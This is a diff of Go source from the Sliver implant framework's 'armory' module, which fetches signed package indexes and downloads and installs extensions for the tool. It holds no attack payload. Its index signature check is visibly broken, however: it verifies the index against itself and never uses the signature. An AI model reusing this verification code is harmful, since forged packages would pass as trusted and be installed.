con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
}
|
||||
return true
|
||||
})
|
||||
} else {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
|
||||
if 0 < len(indexes) {
|
||||
con.PrintInfof("Fetching package information ... ")
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
errorCount := 0
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
errorCount++
|
||||
if errorCount == 0 {
|
||||
con.Printf("errors!\n")
|
||||
}
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
} else {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
if errorCount == 0 {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
}
|
||||
}
|
||||
|
||||
func refresh(clientConfig ArmoryHTTPConfig) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
}
|
||||
|
||||
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
return aliases, exts
|
||||
}
|
||||
|
||||
func bundlesInCache() []*ArmoryBundle {
|
||||
bundles := []*ArmoryBundle{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
indexBundles := value.(indexCacheEntry).Index.Bundles
|
||||
bundles = append(bundles, indexBundles...)
|
||||
return true
|
||||
})
|
||||
return bundles
|
||||
}
|
||||
|
||||
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
|
||||
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
for _, aliasPkg := range aliases {
|
||||
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
|
||||
results = append(results, aliasPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, extensionPkg := range exts {
|
||||
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, bundle := range bundles {
|
||||
if strings.HasPrefix(bundle.Name, prefix) {
|
||||
results = append(results, bundle.Name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
// PrintArmoryPackages - Prints the armory packages
|
||||
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
|
||||
minWidth := 150
|
||||
if minWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
})
|
||||
}
|
||||
|
||||
// Columns start at 1 for some dumb reason
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Number: 1, Mode: table.Asc},
|
||||
})
|
||||
|
||||
type pkgInfo struct {
|
||||
CommandName string
|
||||
Version string
|
||||
Type string
|
||||
Help string
|
||||
URL string
|
||||
}
|
||||
entries := []pkgInfo{}
|
||||
for _, aliasPkg := range aliases {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: aliasPkg.CommandName,
|
||||
Version: aliasPkg.Version,
|
||||
Type: "Alias",
|
||||
Help: aliasPkg.Help,
|
||||
URL: aliasPkg.RepoURL,
|
||||
})
|
||||
}
|
||||
for _, extension := range exts {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Version,
|
||||
Type: "Extension",
|
||||
Help: extension.Help,
|
||||
URL: extension.RepoURL,
|
||||
})
|
||||
}
|
||||
|
||||
rows := []table.Row{}
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
color = console.Green
|
||||
}
|
||||
if minWidth < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
})
|
||||
}
|
||||
}
|
||||
tw.AppendRows(rows)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// PrintArmoryBundles - Prints the armory bundles
|
||||
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Contains",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
for _, bundle := range bundles {
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.Name,
|
||||
strings.Join(bundle.Packages, ", "),
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
|
||||
var proxyURL *url.URL
|
||||
rawProxyURL := ctx.Flags.String("proxy")
|
||||
if rawProxyURL != "" {
|
||||
proxyURL, _ = url.Parse(rawProxyURL)
|
||||
}
|
||||
|
||||
timeout := defaultTimeout
|
||||
rawTimeout := ctx.Flags.String("timeout")
|
||||
if rawTimeout != "" {
|
||||
var err error
|
||||
timeout, err = time.ParseDuration(rawTimeout)
|
||||
if err != nil {
|
||||
timeout = defaultTimeout
|
||||
}
|
||||
}
|
||||
|
||||
return ArmoryHTTPConfig{
|
||||
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
|
||||
ProxyURL: proxyURL,
|
||||
Timeout: timeout,
|
||||
DisableTLSValidation: ctx.Flags.Bool("insecure"),
|
||||
}
|
||||
}
|
||||
|
||||
// fetch armory indexes, only returns indexes that were fetched successfully
|
||||
// errors are still in the cache objects however and can be checked
|
||||
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
wg.Add(1)
|
||||
go fetchIndex(armoryConfig, clientConfig, wg)
|
||||
}
|
||||
wg.Wait()
|
||||
indexes := []ArmoryIndex{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
indexes = append(indexes, cacheEntry.Index)
|
||||
}
|
||||
return true
|
||||
})
|
||||
return indexes
|
||||
}
|
||||
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
|
||||
if ok {
|
||||
cached := cacheEntry.(indexCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
|
||||
defer func() {
|
||||
armoryResult.Fetched = time.Now()
|
||||
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
armoryResult.LastErr = err
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
|
||||
return
|
||||
}
|
||||
|
||||
var index *ArmoryIndex
|
||||
if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
|
||||
index, err = indexParser(armoryConfig, clientConfig)
|
||||
} else {
|
||||
index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
|
||||
}
|
||||
if index != nil {
|
||||
armoryResult.Index = *index
|
||||
}
|
||||
if err != nil {
|
||||
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, index := range indexes {
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, armoryPkg, clientConfig)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
|
||||
if ok {
|
||||
cached := cacheEntry.(pkgCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
|
||||
defer func() {
|
||||
pkgCacheEntry.Fetched = time.Now()
|
||||
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
|
||||
return
|
||||
}
|
||||
|
||||
var sig *minisign.Signature
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
|
||||
} else {
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
|
||||
return
|
||||
}
|
||||
if sig != nil {
|
||||
pkgCacheEntry.Sig = *sig
|
||||
} else {
|
||||
pkgCacheEntry.LastErr = errors.New("nil signature")
|
||||
return
|
||||
}
|
||||
if armoryPkg != nil {
|
||||
pkgCacheEntry.Pkg = *armoryPkg
|
||||
}
|
||||
if err == nil {
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
package armory
|
||||
@@ -0,0 +1,284 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrPackageNotFound = errors.New("package not found")
|
||||
)
|
||||
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
err := installPackageByName(name, clientConfig, con)
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if err == ErrPackageNotFound {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, clientConfig, con)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintErrorf("No package or bundle named '%s' was found", name)
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
for _, pkgName := range bundle.Packages {
|
||||
err := installPackageByName(pkgName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
aliases, extensions := packagesInCache()
|
||||
for _, alias := range aliases {
|
||||
if alias.CommandName == name {
|
||||
installAlias(alias, clientConfig, con)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if ext.CommandName == name {
|
||||
installExtension(ext, clientConfig, con)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return ErrPackageNotFound
|
||||
}
|
||||
|
||||
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading alias ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var publicKey minisign.PublicKey
|
||||
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
|
||||
rawSig, _ := sig.MarshalText()
|
||||
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
|
||||
if !valid {
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFile.Close()
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
deps := make(map[string]struct{})
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, con.App) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
|
||||
|
||||
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == "" {
|
||||
return // Avoid adding empty dependency
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == name {
|
||||
return // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
// seen this dependency, we stop resolving
|
||||
if _, ok := deps[entry.Extension.DependsOn]; ok {
|
||||
return // Already resolved
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
return
|
||||
}
|
||||
deps[entry.Extension.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
|
||||
}
|
||||
|
||||
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading extension ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var publicKey minisign.PublicKey
|
||||
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
|
||||
rawSig, _ := sig.MarshalText()
|
||||
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
|
||||
if !valid {
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = tmpFile.Sync()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install extension")
|
||||
}
|
||||
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if extensions.CmdExists(extCmd.Name, con.App) {
|
||||
con.App.Commands().Remove(extCmd.Name)
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(extCmd, con)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,467 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndexParser - Generic interface to fetch armory indexes
|
||||
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
|
||||
|
||||
// ArmoryPackageParser - Generic interface to fetch armory package manifests
|
||||
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
"api.github.com": GithubAPIArmoryIndexParser,
|
||||
}
|
||||
pkgParsers = map[string]ArmoryPackageParser{
|
||||
"api.github.com": GithubAPIArmoryPackageParser,
|
||||
"github.com": GithubArmoryPackageParser,
|
||||
}
|
||||
)
|
||||
|
||||
const (
|
||||
armoryIndexFileName = "armory.json"
|
||||
armoryIndexSigFileName = "armory.minisig"
|
||||
)
|
||||
|
||||
type armoryIndexResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig
|
||||
ArmoryIndex string `json:"armory_index"` // Base64 String
|
||||
}
|
||||
|
||||
type armoryPkgResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig
|
||||
TarGzURL string `json:"tar_gz_url"`
|
||||
}
|
||||
|
||||
//
|
||||
// Default Parsers for Self-Hosted Armories
|
||||
//
|
||||
|
||||
// DefaultArmoryParser - Parse the armory index directly from the url
|
||||
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
index := &armoryIndexResponse{}
|
||||
err = json.Unmarshal(body, index)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
|
||||
if !valid {
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
|
||||
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
pkgResp := &armoryPkgResponse{}
|
||||
err = json.Unmarshal(body, pkgResp)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
|
||||
return nil, nil, errors.New("invalid url scheme")
|
||||
}
|
||||
resp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
}
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub API Parsers
|
||||
//
|
||||
|
||||
type GithubAsset struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
Size int `json:"size"`
|
||||
|
||||
BrowserDownloadURL string `json:"browser_download_url"`
|
||||
}
|
||||
|
||||
type GithubRelease struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
HTMLURL string `json:"html_url"`
|
||||
TagName string `json:"tag_name"`
|
